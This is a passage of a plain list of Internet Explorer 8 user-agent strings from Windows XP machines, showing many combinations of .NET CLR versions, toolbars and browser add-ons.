1.1.4322; .NET CLR 2.0.50727; .NET4.0C; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC EA 2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.3.22929) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; Zune 3.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.5.20404; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8; Sleipnir/2.9.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.0.3705; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Trident/4.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NE Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; FDM; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; MS-RTC EA 2; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 1.1.4322; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1. Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbFXTV5/5.9.1.14019; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbF-ET/5.8.0.12304) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbVD/5.11.3.15590; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; msn OptimizedIE8;KOKR) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET4.0C; .NET4.0E; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; InfoPath.1; .NET CLR 3.5.30729; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zune 3.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.5.30729; FDM; MS-RTC LM 8; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.4506.2152; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; InfoPath.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0E; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; ABPlayer_3.0.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Avant Browser; Avant Browser; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; GTB6.6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; GTB7.4; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 10.01.2010; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; QQDownload 627; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTbPSI/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; msn OptimizedIE8;ESES) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.370.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.370.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) chromeframe/8.0.552.224 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.3; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.4) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.6; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.6; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; .NET CLR 1.1.4322; HbTools 4.8.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProductsp; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.45 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/7.0.517.44 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Sleipnir/2.9.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.0.3705; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 